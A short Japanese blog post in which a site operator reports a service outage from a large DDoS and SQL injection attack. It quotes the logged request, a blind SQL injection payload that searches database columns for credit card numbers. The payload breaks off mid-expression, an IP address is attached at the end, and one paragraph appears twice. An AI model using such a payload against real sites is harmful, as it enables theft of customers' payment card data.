ブログ - サービス停止 その２
久々にDDoS攻撃でサービス停止になった．
DDoS攻撃もSQLインジェクションも日々受けているけど，これほどの規模のものは今年の7月以来だな．前回はただのDDoSだったけど，今回は完全なSQLインジェクション．
リクエストはこんな感じ．
DDoS攻撃もSQLインジェクションも日々受けているけど，これほどの規模のものは今年の7月以来だな．前回はただのDDoSだったけど，今回は完全なSQLインジェクション．
リクエストはこんな感じ．
index.php?cid='+AND+((ASCII(SUBSTRING((SELECT+STRING_AGG(t,
+CHAR(10))+FROM+(SELECT+CONCAT(table_schema,'%7C',table_name,
'%7C',column_name)+AS+t+FROM+information_schema.columns+WHERE
+((LOWER(column_name)+IN+('card_info','creditcardnumber',
'card_number','kartnum','numero_tarjeta','cc_info','ccno',
'numero_cartao','card','credit_card_no','kartennummer','ccn',
'tarjeta','cc_data','cc_no','cc_num','numerocartao','pan','
card_no','cardno','kartno','cc_number','card_data','creditcardno',
'ccnum','cc','creditcard','cardnumber','credit_card_number','kart',
'numerotarjeta','cartao','credit_card'))+OR+(LOWER(column_name)+L
IKE+'%25card%25number%25'+OR+LOWER(column_name)+LIKE+'%25number%25card%25'
+OR+LOWER(column_name)+LIKE+'%25cc%25num%25'+OR+LOWER(column_name)+
LIKE+'%25num%25cc%25'+OR+LOWER(column_name)+LIKE+'%25credit%25card%25'+
OR+LOWER(column_name)+LIKE+'%25card%25credit%25'+OR+LOWER(column_name)+
LIKE+'%25card%25data%25'+OR+LOWER(column_name)+LIKE+'%25cc%25data%25'+O
R+LOWER(column_name)+LIKE+'%25card%25info%25'+OR+LOWER(column189.78.179.148
